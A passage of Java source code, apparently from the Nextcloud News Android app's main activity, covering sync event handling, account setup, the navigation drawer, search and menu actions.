mPrefs);\n\n\t\t\tadapter.setTotalItemCount(savedInstanceState.getInt(LIST_ADAPTER_TOTAL_COUNT));\n\t\t\tadapter.setCachedPages(savedInstanceState.getInt(LIST_ADAPTER_PAGE_COUNT));\n\n\t\t\tgetNewsReaderDetailFragment()\n\t\t\t\t\t.getRecyclerView()\n\t\t\t\t\t.setAdapter(adapter);\n\n\t\t\tupdateDetailFragment(savedInstanceState.getLong(ID_FEED_STRING),\n\t\t\t\t\tsavedInstanceState.getBoolean(IS_FOLDER_BOOLEAN),\n\t\t\t\t\tsavedInstanceState.getLong(OPTIONAL_FOLDER_ID),\n\t\t\t\t\tfalse);\n\t\t}\n\t\tmSearchString = savedInstanceState.getString(SEARCH_KEY, null);\n\t}\n\n\t@Override\n\tpublic void onConfigurationChanged(@NonNull Configuration newConfig) {\n\t\tsuper.onConfigurationChanged(newConfig);\n\t\tif (drawerToggle != null) {\n\t\t\tdrawerToggle.onConfigurationChanged(newConfig);\n\t\t}\n\t}\n\n\tvoid showChangelogIfNecessary() {\n\t\t// on first app start with new version - always show the changelog\n\t\tint currentVersionCode = BuildConfig.VERSION_CODE;\n\t\tint previousVersionCode = mPrefs.getInt(Constants.PREVIOUS_VERSION_CODE, 0);\n\t\tif (currentVersionCode > previousVersionCode) {\n\t\t\tDialogFragment dialog = new VersionInfoDialogFragment();\n\t\t\tdialog.show(getSupportFragmentManager(), \"VersionChangelogDialogFragment\");\n\t\t\tmPrefs.edit().putInt(Constants.PREVIOUS_VERSION_CODE, currentVersionCode).apply();\n\t\t}\n\t}\n\n\t/**\n\t * This method increases the \"pull to open drawer\" area by three.\n\t * This method should be called only once!\n\t */\n\tprivate void adjustEdgeSizeOfDrawer() {\n\t\ttry {\n\t\t\t// increase the size of the drag margin to prevent starting a star swipe when\n\t\t\t// trying to open the drawer.\n\t\t\tField mDragger = Objects.requireNonNull(binding.drawerLayout).getClass().getDeclaredField(\"mLeftDragger\");\n\t\t\tmDragger.setAccessible(true);\n\t\t\tViewDragHelper draggerObj = (ViewDragHelper) mDragger.get(binding.drawerLayout);\n\t\t\tField mEdgeSize = Objects.requireNonNull(draggerObj).getClass().getDeclaredField(\"mEdgeSize\");\n\t\t\tmEdgeSize.setAccessible(true);\n\t\t\tint edge = mEdgeSize.getInt(draggerObj);\n\t\t\tmEdgeSize.setInt(draggerObj, edge * 3);\n\t\t} catch (Exception e) {\n\t\t\tLog.e(TAG, \"Setting edge width of drawer failed..\", e);\n\t\t}\n\t}\n\n\tpublic int getEdgeSizeOfDrawer() {\n\t\ttry {\n\t\t\tField mDragger = Objects.requireNonNull(binding.drawerLayout).getClass().getDeclaredField(\"mLeftDragger\");\n\t\t\tmDragger.setAccessible(true);\n\t\t\tViewDragHelper draggerObj = (ViewDragHelper) mDragger.get(binding.drawerLayout);\n\t\t\tField mEdgeSize = Objects.requireNonNull(draggerObj).getClass().getDeclaredField(\"mEdgeSize\");\n\t\t\tmEdgeSize.setAccessible(true);\n\t\t\treturn mEdgeSize.getInt(draggerObj);\n\t\t} catch (Exception e) {\n\t\t\tLog.e(TAG, \"Failed to get edge size of drawer\", e);\n\t\t}\n\t\treturn 0;\n\t}\n\n\n\t/**\n\t * Check if the account is in the Android Account Manager. If not it will be added automatically\n\t */\n\tprivate void initAccountManager() {\n\t\tAccountManager mAccountManager = AccountManager.get(this);\n\n\t\tboolean isAccountThere = false;\n\t\tAccount[] accounts = mAccountManager.getAccounts();\n\t\tString accountType = AccountGeneral.getAccountType(this);\n\t\tfor (Account account : accounts) {\n\t\t\tif (account.type.intern().equals(accountType)) {\n\t\t\t\tisAccountThere = true;\n\t\t\t}\n\t\t}\n\n\t\t//If the account is not in the Android Account Manager\n\t\tif (!isAccountThere) {\n\t\t\t//Then add the new account\n\t\t\tAccount account = new Account(getString(R.string.app_name), accountType);\n\n\t\t\ttry {\n\t\t\t\tmAccountManager.addAccountExplicitly(account, \"\", new Bundle());\n\n\t\t\t\tSettingsFragment.setAccountSyncInterval(this, getResources().getInteger(R.integer.default_sync_minutes));\n\t\t\t} catch (SecurityException exception) {\n\t\t\t\t// not sure if this error can still occur.. it showed up a few versions ago.. so we'll\n\t\t\t\t// keep it here just to be safe\n\t\t\t\tnew AlertDialog.Builder(this)\n\t\t\t\t\t\t.setTitle(\"Failed to add account\")\n\t\t\t\t\t\t.setMessage(\"If you installed this app previously from anywhere else than the Google Play Store (e.g. F-Droid), please make sure to uninstall it first.\")\n\t\t\t\t\t\t.setPositiveButton(android.R.string.ok, (dialog, which) -> {\n\t\t\t\t\t\t\tdialog.dismiss();\n\t\t\t\t\t\t})\n\t\t\t\t\t\t.setIcon(android.R.drawable.ic_dialog_alert)\n\t\t\t\t\t\t.show();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void checkNotificationPermissions() {\n\t\tif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {\n\t\t\trequestPermissions(new String[]{Manifest.permission.POST_NOTIFICATIONS}, REQUEST_CODE_PERMISSION_NOTIFICATIONS);\n\t\t}\n\t}\n\n\t/**\n\t * Updates the unread counts of the data in the sidebar (e.g. when the user marked a few articles as read we just need to reload the unread counts)\n\t */\n\tpublic void reloadCountNumbersOfSlidingPaneAdapter() {\n\t\tNewsReaderListFragment nlf = getSlidingListFragment();\n\t\tif (nlf != null) {\n\t\t\tnlf.listViewNotifyDataSetChanged();\n\t\t}\n\t}\n\n\t/**\n\t * Reload the whole Sidebar (all the categories / items in the sidebar)\n\t */\n\tpublic void reloadSidebar() {\n\t\tNewsReaderListFragment nlf = getSlidingListFragment();\n\t\tif (nlf != null) {\n\t\t\tnlf.reloadAdapter();\n\t\t\tnlf.bindUserInfoToUI();\n\t\t}\n\t}\n\n\tprotected void updateCurrentRssView() {\n\t\tNewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n\t\tif (ndf != null) {\n\t\t\tndf.updateCurrentRssView();\n\t\t}\n\t}\n\n\tpublic void switchToAllUnreadItemsFolder() {\n\t\tupdateDetailFragment(SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS.getValue(), true, null, true);\n\t}\n\n    @Subscribe(threadMode = ThreadMode.MAIN)\n    public void onEventMainThread(SyncFailedEvent event) {\n        Throwable exception = event.getCause();\n\n        // If SSOException is wrapped inside another exception, we extract that SSOException\n        if(exception.getCause() != null && exception.getCause() instanceof SSOException) {\n            exception = exception.getCause();\n        }\n\n        if(exception instanceof SSOException){\n            if(exception instanceof NextcloudHttpRequestFailedException && ((NextcloudHttpRequestFailedException) exception).getStatusCode() == 302) {\n                ShowAlertDialog(\n                        getString(R.string.login_dialog_title_error),\n                        getString(R.string.login_dialog_text_news_app_not_installed_on_server,\n                                \"https://github.com/nextcloud/news/blob/master/docs/install.md#installing-from-the-app-store\"),\n                        this);\n            } else if (exception instanceof TokenMismatchException) {\n\t\t\t\tToast.makeText(NewsReaderListActivity.this, \"Token out of sync. Please reauthenticate\", Toast.LENGTH_LONG).show();\n\t\t\t\ttry {\n\t\t\t\t\tSingleAccountHelper.reauthenticateCurrentAccount(this);\n\t\t\t\t} catch (NextcloudFilesAppAccountNotFoundException | NoCurrentAccountSelectedException | NextcloudFilesAppNotSupportedException e) {\n\t\t\t\t\tUiExceptionManager.showDialogForException(this, e);\n\t\t\t\t} catch (NextcloudFilesAppAccountPermissionNotGrantedException e) {\n\t\t\t\t\t// Unable to reauthenticate account just like that..\n\t\t\t\t\tstartLoginActivity();\n\t\t\t\t}\n\t\t\t\t//StartLoginFragment(this);\n\t\t\t} else {\n\t\t\t\tUiExceptionManager.showDialogForException(this, (SSOException) exception);\n\t\t\t\t//UiExceptionManager.showNotificationForException(this, (SSOException) exception);\n\t\t\t}\n        } else {\n            Toast.makeText(NewsReaderListActivity.this, exception.getLocalizedMessage(), Toast.LENGTH_LONG).show();\n        }\n        updateButtonLayout();\n        syncFinishedHandler();\n    }\n\n    @Subscribe(threadMode = ThreadMode.MAIN)\n\tpublic void onEventMainThread(SyncStartedEvent event) {\n\t\tLog.d(TAG, \"onEventMainThread - SyncStartedEvent\");\n\t\tupdateButtonLayout();\n\t}\n\n    @Subscribe(threadMode = ThreadMode.MAIN)\n\tpublic void onEventMainThread(SyncFinishedEvent event) {\n\t\tLog.d(TAG, \"onEventMainThread - SyncFinishedEvent\");\n\t\tupdateButtonLayout();\n\t\tsyncFinishedHandler();\n\t}\n\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n\t\tSharedPreferences defaultValueSp = getSharedPreferences(PreferenceManager.KEY_HAS_SET_DEFAULT_VALUES, Context.MODE_PRIVATE);\n\t\tif (!defaultValueSp.getBoolean(PreferenceManager.KEY_HAS_SET_DEFAULT_VALUES, false)) {\n\t\t\tPreferenceManager.setDefaultValues(this, sharedPreferencesFileName, Context.MODE_PRIVATE, R.xml.pref_data_sync, true);\n\t\t\tPreferenceManager.setDefaultValues(this, sharedPreferencesFileName, Context.MODE_PRIVATE, R.xml.pref_display, true);\n\t\t\tPreferenceManager.setDefaultValues(this, sharedPreferencesFileName, Context.MODE_PRIVATE, R.xml.pref_general, true);\n\t\t}\n\n\t\tsuper.onCreate(savedInstanceState);\n\n\t\tbinding = ActivityNewsreaderBinding.inflate(getLayoutInflater());\n\t\tsetContentView(binding.getRoot());\n\n\t\tsetSupportActionBar(binding.toolbarLayout.toolbar);\n\n\t\tinitAccountManager();\n\n\t\tcheckNotificationPermissions();\n\n\t\t// Init config --> if nothing is configured start the login dialog.\n\t\tif (!isUserLoggedIn()) {\n\t\t\tstartLoginActivity();\n\t\t}\n\n\t\tBundle args = new Bundle();\n\t\tString userName = mPrefs.getString(SettingsActivity.EDT_USERNAME_STRING, null);\n\t\tString url = mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, null);\n\t\targs.putString(\"accountName\", String.format(\"%s\\n%s\", userName, url));\n\t\tNewsReaderListFragment newsReaderListFragment = new NewsReaderListFragment();\n\t\tnewsReaderListFragment.setArguments(args);\n\t\t// Insert the fragment by replacing any existing fragment\n\t\tFragmentManager fragmentManager = getSupportFragmentManager();\n\t\tfragmentManager.beginTransaction()\n\t\t\t\t.replace(R.id.left_drawer, newsReaderListFragment)\n\t\t\t\t.commit();\n\n\t\tif (binding.drawerLayout != null) {\n\t\t\tdrawerToggle = new ActionBarDrawerToggle(this, binding.drawerLayout, binding.toolbarLayout.toolbar, R.string.news_list_drawer_text, R.string.news_list_drawer_text) {\n\t\t\t\t@Override\n\t\t\t\tpublic void onDrawerClosed(View drawerView) {\n\t\t\t\t\tsuper.onDrawerClosed(drawerView);\n\t\t\t\t\tonBackPressedCallback.setEnabled(mBackOpensDrawer);\n\n\t\t\t\t\tsyncState();\n\t\t\t\t}\n\n\t\t\t\t@Override\n\t\t\t\tpublic void onDrawerOpened(View drawerView) {\n\t\t\t\t\tsuper.onDrawerOpened(drawerView);\n\t\t\t\t\treloadCountNumbersOfSlidingPaneAdapter();\n\n\t\t\t\t\t// -> handleOnBackPressed() will disable it\n\t\t\t\t\t// onBackPressedCallback.setEnabled(false);\n\n\t\t\t\t\tsyncState();\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tbinding.drawerLayout.addDrawerListener(drawerToggle);\n\n\t\t\tadjustEdgeSizeOfDrawer();\n\t\t}\n\t\tsetSupportActionBar(binding.toolbarLayout.toolbar);\n\t\tObjects.requireNonNull(getSupportActionBar()).setDisplayShowHomeEnabled(true);\n\t\tif (drawerToggle != null) {\n\t\t\tdrawerToggle.syncState();\n\t\t}\n\n\t\tgetPodcastSlidingUpPanelLayout().addPanelSlideListener(panelSlideListener);\n\t\tgetOnBackPressedDispatcher().addCallback(this, onBackPressedCallback);\n\n\t\t//AppRater.app_launched(this);\n\t\t//AppRater.rateNow(this);\n\n        getNewsReaderDetailFragment().syncTrigger\n                .debounce(500, TimeUnit.MILLISECONDS)\n                .subscribeOn(Schedulers.io())\n                .observeOn(AndroidSchedulers.mainThread())\n                .subscribeWith(startSyncObserver);\n\n\t\tif (savedInstanceState == null) { // When the app starts (no orientation change)\n\t\t\tupdateDetailFragment(SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS.getValue(), true, null, true);\n\t\t}\n\n\t\tshowChangelogIfNecessary();\n\t}\n\n\t@Override\n\tprotected void onResume() {\n\t\tmBackOpensDrawer = mPrefs.getBoolean(SettingsActivity.CB_PREF_BACK_OPENS_DRAWER, false);\n\t\tonBackPressedCallback.setEnabled(mBackOpensDrawer);\n\n\t\treloadSidebar();\n\n\t\tinvalidateOptionsMenu();\n\t\tsuper.onResume();\n\t}\n\n\t@Override\n\tprotected PodcastSlidingUpPanelLayout getPodcastSlidingUpPanelLayout() {\n\t\treturn binding.slidingLayout;\n\t}\n\n\t@Override\n\tpublic void onRefresh() {\n\t\tstartSync();\n\t}\n\n\t/**\n\t * @return true if new items count was greater than 0\n\t */\n\tprivate boolean syncFinishedHandler() {\n\t\tUpdateItemList();\n\t\tupdatePodcastView();\n\t\tupdateDetailFragmentTitle();\n\t\treloadSidebar();\n\n\t\tif(mApi.getNewsAPI() != null) {\n            getSlidingListFragment().startAsyncTaskGetUserInfo();\n        }\n\n\t\tint newItemsCount = mPrefs.getInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, 0);\n\n\t\tif (newItemsCount > 0) {\n\t\t\tint firstVisiblePosition = getNewsReaderDetailFragment().getFirstVisibleScrollPosition();\n\n\t\t\t// Only show the update snackbar if scrollposition is not top.\n\t\t\t// 0 if scrolled all the way up\n\t\t\t// 1 if no items are visible right now (e.g. first sync)\n\t\t\tif (firstVisiblePosition == 0 || firstVisiblePosition == -1) {\n\t\t\t\tupdateCurrentRssView();\n\t\t\t} else {\n                showSnackbarNewItems(newItemsCount);\n\t\t\t}\n\t\t\treturn true;\n\t\t} else {\n            int firstVisiblePosition = getNewsReaderDetailFragment().getFirstVisibleScrollPosition();\n\n\t\t\t// update rss view even if no new items are available\n\t\t\t// If the user just finished reading some articles (e.g. all unread items) - he most\n            // likely wants the read articles to be removed when the sync is finished\n            if (firstVisiblePosition == 0 || firstVisiblePosition == -1) {\n                // if the app was just started (initial sync - just reload the list)\n                updateCurrentRssView();\n            } else {\n                // otherwise ask user if he want's to reload e.g. when we are scrolled all the way down\n                showSnackbarNoNewItems();\n            }\n\t\t}\n\t\treturn false;\n\t}\n\n    private void showSnackbarNewItems(int newItemsCount) {\n        Snackbar snackbar = makeFABAwareSnackbar(\n                getResources().getQuantityString(R.plurals.message_bar_new_articles_available, newItemsCount, newItemsCount),\n                Snackbar.LENGTH_LONG\n        );\n\t\tsnackbar.setAction(getString(R.string.message_bar_reload), mSnackbarListener);\n\t\t//snackbar.setActionTextColor(ContextCompat.getColor(this, R.color.accent_material_dark));\n\t\t// Setting android:TextColor to #000 in the light theme results in black on black\n\t\t// text on the Snackbar, set the text back to white,\n\t\t//TextView textView = snackbar.getView().findViewById(com.google.android.material.R.id.snackbar_text);\n\t\t//textView.setTextColor(Color.WHITE);\n\t\tsnackbar.show();\n\t}\n\n\t/**\n\t * Callback method from {@link NewsReaderListFragment.Callbacks} indicating\n\t * that the item with the given ID was selected.\n\t */\n\t@Override\n\tpublic void onTopItemClicked(long idFeed, boolean isFolder, Long optional_folder_id) {\n\t\tif (binding.drawerLayout != null)\n\t\t\tbinding.drawerLayout.closeDrawer(GravityCompat.START);\n\n\t\tupdateDetailFragment(idFeed, isFolder, optional_folder_id, true);\n\t}\n\n\t@Override\n\tpublic void onChildItemClicked(long idFeed, Long optional_folder_id) {\n\t\tif (binding.drawerLayout != null)\n\t\t\tbinding.drawerLayout.closeDrawer(GravityCompat.START);\n\n\t\tupdateDetailFragment(idFeed, false, optional_folder_id, true);\n\t}\n\n\t@Override\n\tpublic void onTopItemLongClicked(long idFeed, boolean isFolder) {\n\t\tstartDialogFragment(idFeed, isFolder);\n\t}\n\n\t@Override\n\tpublic void onUserInfoUpdated(OcsUser userInfo) {\n\t\tcurrentUser = userInfo;\n\n\t\tinvalidateOptionsMenu();\n\t}\n\n\t@Override\n\tpublic void onCreateFolderClicked() {\n\t\tFragmentTransaction ft = getSupportFragmentManager().beginTransaction();\n\t\tFragment prev = getSupportFragmentManager().findFragmentByTag(\"add_folder_dialog\");\n\t\tif (prev != null) {\n\t\t\tft.remove(prev);\n\t\t}\n\t\tft.addToBackStack(null);\n\n\t\tAddFolderDialogFragment fragment = AddFolderDialogFragment.newInstance();\n\t\tfragment.setActivity(this);\n\t\tfragment.show(ft, \"add_folder_dialog\");\n\t}\n\n\t@Override\n\tpublic void onChildItemLongClicked(long idFeed) {\n\t\tstartDialogFragment(idFeed, false);\n\t}\n\n\tprivate void startDialogFragment(long id, Boolean isFolder) {\n\t\tDatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getApplicationContext());\n\n\t\tif (!isFolder) {\n\t\t\tString titel = dbConn.getFeedById(id).getFeedTitle();\n\t\t\tString iconurl = dbConn.getFeedById(id).getFaviconUrl();\n\t\t\tString feedurl = dbConn.getFeedById(id).getLink();\n\n\t\t\tFragmentTransaction ft = getSupportFragmentManager().beginTransaction();\n\t\t\tFragment prev = getSupportFragmentManager().findFragmentByTag(\"news_reader_list_dialog\");\n\t\t\tif (prev != null) {\n\t\t\t\tft.remove(prev);\n\t\t\t}\n\t\t\tft.addToBackStack(null);\n\n\t\t\tNewsReaderListDialogFragment fragment = NewsReaderListDialogFragment.newInstance(id, titel, iconurl, feedurl);\n\t\t\tfragment.setActivity(this);\n\t\t\tfragment.show(ft, \"news_reader_list_dialog\");\n\t\t} else {\n\t\t\tFolder folder = dbConn.getFolderById(id);\n\t\t\tif (folder == null) {\n\t\t\t\tLog.e(TAG, \"cannot find folder with id: \" + id);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tString label = folder.getLabel();\n\n\t\t\tFragmentTransaction ft = getSupportFragmentManager().beginTransaction();\n\t\t\tFragment prev = getSupportFragmentManager().findFragmentByTag(\"folder_options_dialog\");\n\t\t\tif (prev != null) {\n\t\t\t\tft.remove(prev);\n\t\t\t}\n\t\t\tft.addToBackStack(null);\n\n\t\t\tFolderOptionsDialogFragment fragment = FolderOptionsDialogFragment.newInstance(id, label);\n\t\t\tfragment.setActivity(this);\n\t\t\tfragment.show(ft, \"folder_options_dialog\");\n\t\t}\n\t}\n\n\n\tpublic static final int RESULT_ADD_NEW_FEED = 15643;\n\n\tprivate void updateDetailFragmentTitle() {\n\t\tNewsReaderDetailFragment fragment = getNewsReaderDetailFragment();\n\t\tLong id = fragment.getIdFeed() == null ? fragment.getIdFolder() : fragment.getIdFeed();\n\t\tif (id == null) {\n\t\t\treturn;\n\t\t}\n\n\t\tDatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getApplicationContext());\n\n\t\tString title = null;\n\t\tboolean isFolder = fragment.getIdFolder() == null;\n\n\t\tif (isFolder) {\n\t\t\tint idFolder = id.intValue();\n\t\t\tif (idFolder >= 0) {\n\t\t\t\tFolder folder = dbConn.getFolderById(id);\n\t\t\t\tif (folder == null) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\ttitle = folder.getLabel();\n\t\t\t} else if (idFolder == -10) {\n\t\t\t\ttitle = getString(R.string.allUnreadFeeds);\n\t\t\t} else if (idFolder == -11) {\n\t\t\t\ttitle = getString(R.string.starredFeeds);\n\t\t\t} else if (idFolder == -13) {\n\t\t\t\ttitle = getString(R.string.downloadedPodcasts);\n\t\t\t}\n\t\t} else {\n\t\t\tFeed feed = dbConn.getFeedById(id);\n\t\t\tif (feed == null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttitle = feed.getFeedTitle();\n\t\t}\n\n\t\tfragment.setTitle(title);\n\t}\n\n\n    public void UpdateItemList() {\n\t\ttry {\n\t\t\tNewsReaderDetailFragment nrD = getNewsReaderDetailFragment();\n\t\t\tif (nrD != null && nrD.getRecyclerView() != null) {\n\t\t\t\tnrD.getRecyclerView().getAdapter().notifyDataSetChanged();\n\t\t\t}\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n        }\n    }\n\n    private void showSnackbarNoNewItems() {\n        Snackbar snackbar = makeFABAwareSnackbar(\n                getResources().getString(R.string.message_bar_scroll_top),\n                Snackbar.LENGTH_LONG\n        );\n        snackbar.setAction(getString(R.string.message_bar_reload), mSnackbarListener);\n        snackbar.show();\n    }\n\n    public void startSync()\n    {\n\t\tif (!isUserLoggedIn()) {\n\t\t\tstartLoginActivity();\n\t\t} else {\n\t\t\tif (!OwnCloudSyncService.isSyncRunning()) {\n                Log.d(TAG, \"Starting Sync\");\n                mPostDelayHandler.stopRunningPostDelayHandler(); // Stop pending sync handler\n\n\t\t\t\tBundle accBundle = new Bundle();\n\t\t\t\taccBundle.putBoolean(ContentResolver.SYNC_EXTRAS_MANUAL, true);\n\t\t\t\tAccountManager mAccountManager = AccountManager.get(this);\n\t\t\t\tAccount[] accounts = mAccountManager.getAccounts();\n\t\t\t\tfor (Account acc : accounts) {\n\t\t\t\t\tString accountType = AccountGeneral.getAccountType(this);\n\t\t\t\t\tif (acc.type.equals(accountType)) {\n                        ContentResolver.requestSync(acc, accountType, accBundle);\n                    }\n                }\n\t\t\t\t//http://stackoverflow.com/questions/5253858/why-does-contentresolver-requestsync-not-trigger-a-sync\n\t\t\t} else {\n                Log.d(TAG, \"Sync is already running - Just update Button Layout\");\n\t\t\t\tupdateButtonLayout();\n\t\t\t}\n\t\t}\n    }\n\n\tpublic void updateButtonLayout()\n    {\n\t\tNewsReaderListFragment newsReaderListFragment = getSlidingListFragment();\n\t\tNewsReaderDetailFragment newsReaderDetailFragment = getNewsReaderDetailFragment();\n\n\t\tif(newsReaderListFragment != null && newsReaderDetailFragment != null) {\n\t\t\tboolean isSyncRunning = OwnCloudSyncService.isSyncRunning();\n\t\t\tnewsReaderListFragment.setRefreshing(isSyncRunning);\n\t\t\tnewsReaderDetailFragment.binding.swipeRefresh.setRefreshing(isSyncRunning);\n\t\t}\n    }\n\n    private void updateDetailFragment(long id, Boolean folder, Long optional_folder_id, boolean updateListView) {\n        if(menuItemDownloadMoreItems != null) {\n            menuItemDownloadMoreItems.setEnabled(true);\n        }\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getApplicationContext());\n\n        Long feedId = null;\n        Long folderId;\n        String title = null;\n\n        if(!folder) {\n\t\t\tcurrentFolderId = null;\n            feedId = id;\n            folderId = optional_folder_id;\n            title = dbConn.getFeedById(id).getFeedTitle();\n        } else {\n\t\t\tcurrentFolderId = id;\n\t\t\tfolderId = id;\n\t\t\tint idFolder = (int) id;\n\t\t\tif (idFolder >= 0) {\n\t\t\t\ttitle = dbConn.getFolderById(id).getLabel();\n\t\t\t} else if (idFolder == -10) {\n\t\t\t\ttitle = getString(R.string.allUnreadFeeds);\n\t\t\t} else if (idFolder == -11) {\n\t\t\t\ttitle = getString(R.string.starredFeeds);\n\t\t\t} else if (idFolder == -13) {\n\t\t\t\ttitle = getString(R.string.downloadedPodcasts);\n\t\t\t}\n\t\t}\n\n\t\tsyncMenuItemUnreadOnly();\n\n\t\tNewsReaderDetailFragment fragment = getNewsReaderDetailFragment();\n\t\tfragment.setData(feedId, folderId, title, updateListView);\n\t}\n\n\tpublic MenuItem getMenuItemDownloadMoreItems() {\n\t\treturn menuItemDownloadMoreItems;\n\t}\n\n\t@Override\n\tpublic boolean onPrepareOptionsMenu(Menu menu) {\n\t\tMenuItem accountItem = menu.findItem(R.id.menu_account);\n\t\tprepareAccountMenuItem(accountItem);\n\n\t\treturn super.onPrepareOptionsMenu(menu);\n\t}\n\n\t@Override\n\tpublic boolean onCreateOptionsMenu(Menu menu) {\n\t\t// Inflate the menu; this adds items to the action bar if it is present.\n\t\tgetMenuInflater().inflate(R.menu.news_reader, menu);\n\n\t\tmenuItemDownloadMoreItems = menu.findItem(R.id.menu_downloadMoreItems);\n\n\t\tmenuItemDownloadMoreItems.setEnabled(false);\n\n\t\tMenuItem searchItem = menu.findItem(R.id.menu_search);\n\t\tmenuItemOnlyUnread = menu.findItem(R.id.menu_toggleShowOnlyUnread);\n\t\tmenuItemOnlyUnread.setChecked(mPrefs.getBoolean(SettingsActivity.CB_SHOWONLYUNREAD_STRING, false));\n\t\tsyncMenuItemUnreadOnly();\n\n        //Set expand listener to close keyboard\n        searchItem.setOnActionExpandListener(new MenuItem.OnActionExpandListener() {\n            @Override\n            public boolean onMenuItemActionExpand(MenuItem item) {\n\t\t\t\treturn true;\n\t\t\t}\n\n            @Override\n            public boolean onMenuItemActionCollapse(MenuItem item) {\n                //onQueryTextChange(\"\"); // Reset search\n                mSearchView.setQuery(\"\", true);\n                clearSearchViewFocus();\n                return true;\n            }\n        });\n\n\t\tmSearchView = (SearchView) menu.findItem(R.id.menu_search).getActionView();\n\t\tmSearchView.setIconifiedByDefault(false);\n\t\tmSearchView.setOnQueryTextListener(this);\n\t\tmSearchView.setOnQueryTextFocusChangeListener((v, hasFocus) -> {\n            if(!hasFocus) {\n                clearSearchViewFocus();\n            }\n        });\n\n        NewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n        if(ndf != null) {\n            ndf.updateMenuItemsState();\n        }\n\n        updateButtonLayout();\n\n        // focus the SearchView (if search view was active before orientation change)\n        if (mSearchString != null && !mSearchString.isEmpty()) {\n            searchItem.expandActionView();\n            mSearchView.setQuery(mSearchString, true);\n            mSearchView.clearFocus();\n        }\n\n        return true;\n\t}\n\n\tpublic static final int RESULT_SETTINGS = 15642;\n\n\tprivate void syncMenuItemUnreadOnly() {\n\t\tif (menuItemOnlyUnread != null && currentFolderId != null) {\n\t\t\tmenuItemOnlyUnread.setVisible(!(currentFolderId == -11 || currentFolderId == -10));\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean onOptionsItemSelected(@NonNull MenuItem item) {\n\t\tif (drawerToggle != null && drawerToggle.onOptionsItemSelected(item))\n\t\t\treturn true;\n\n\t\tint itemId = item.getItemId();\n\t\tif (itemId == android.R.id.home) {\n\t\t\tif (handlePodcastBackPressed())\n\t\t\t\treturn true;\n\t\t} else if (itemId == R.id.menu_update) {\n\t\t\tstartSync();\n\t\t}\n\t\telse if (itemId == R.id.menu_account) {\n\t\t\tstartLoginActivity();\n\t\t}\n\t\telse if (itemId == R.id.menu_toggleShowOnlyUnread) {\n\t\t\tboolean newValue = !mPrefs.getBoolean(SettingsActivity.CB_SHOWONLYUNREAD_STRING, false);\n\t\t\tmPrefs.edit().putBoolean(SettingsActivity.CB_SHOWONLYUNREAD_STRING, newValue).commit();\n\t\t\titem.setChecked(newValue);\n\t\t\treloadSidebar();\n\t\t\tupdateCurrentRssView();\n\t\t}\n\t\telse if (itemId == R.id.menu_StartImageCaching) {\n\t\t\tfinal DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n\n\t\t\tlong highestItemId = dbConn.getLowestRssItemIdUnread();\n\n\n\t\t\tIntent data = new Intent();\n\t\t\tdata.putExtra(DownloadImagesService.LAST_ITEM_ID, highestItemId);\n\t\t\tdata.putExtra(DownloadImagesService.DOWNLOAD_MODE_STRING, DownloadImagesService.DownloadMode.PICTURES_ONLY);\n\t\t\tDownloadImagesService.enqueueWork(this, data);\n\t\t} else if (itemId == R.id.menu_CreateDatabaseDump) {\n\t\t\tDatabaseUtilsKt.copyDatabaseToSdCard(this);\n\n\t\t\tnew AlertDialog.Builder(this)\n\t\t\t\t\t.setMessage(\"Created dump at: \" + DatabaseUtilsKt.getPath(this))\n\t\t\t\t\t.setNeutralButton(getString(android.R.string.ok), null)\n\t\t\t\t\t.show();\n\t\t} else if (itemId == R.id.menu_markAllAsRead) {\n\t\t\tNewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n\t\t\tif (ndf != null) {\n\t\t\t\tDatabaseConnectionOrm dbConn2 = new DatabaseConnectionOrm(this);\n\t\t\t\tvar deletedCount =dbConn2.markAllItemsAsReadForCurrentView();\n\n\t\t\t\treloadCountNumbersOfSlidingPaneAdapter();\n\t\t\t\tndf.refreshCurrentRssView();\n\n                var snackbar = makeFABAwareSnackbar(getResources().getQuantityString(\n                        R.plurals.marked_as_read_message,\n                        deletedCount,\n                        deletedCount\n                ), Snackbar.LENGTH_SHORT);\n                snackbar.show();\n\t\t\t}\n\t\t\treturn true;\n\t\t} else if (itemId == R.id.menu_downloadMoreItems) {\n\t\t\tDownloadMoreItems();\n\t\t\treturn true;\n\t\t} else if (itemId == R.id.menu_search) {\n\t\t\tmSearchView.setIconified(false);\n\t\t\tmSearchView.setFocusable(true);\n\t\t\tmSearchView.requestFocusFromTouch();\n\t\t\treturn true;\n\t\t} else if (itemId == R.id.menu_download_web_archive) {\n\t\t\tcheckAndStartDownloadWebPagesForOfflineReadingPermission();\n\t\t\treturn true;\n\t\t}\n\t\treturn super.onOptionsItemSelected(item);\n\t}\n\n    private Snackbar makeFABAwareSnackbar(String text, int duration) {\n        NewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n        var fab = ndf.binding.fabDoneAll;\n        var snackbar = Snackbar.make(\n                binding.coordinatorLayout,\n                text,\n                duration\n        );\n        if (fab.getVisibility() == View.VISIBLE) {\n            snackbar.setAnchorView(fab);\n        }\n        return snackbar;\n    }\n\n    private void checkAndStartDownloadWebPagesForOfflineReadingPermission() {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n            if (checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED &&\n                    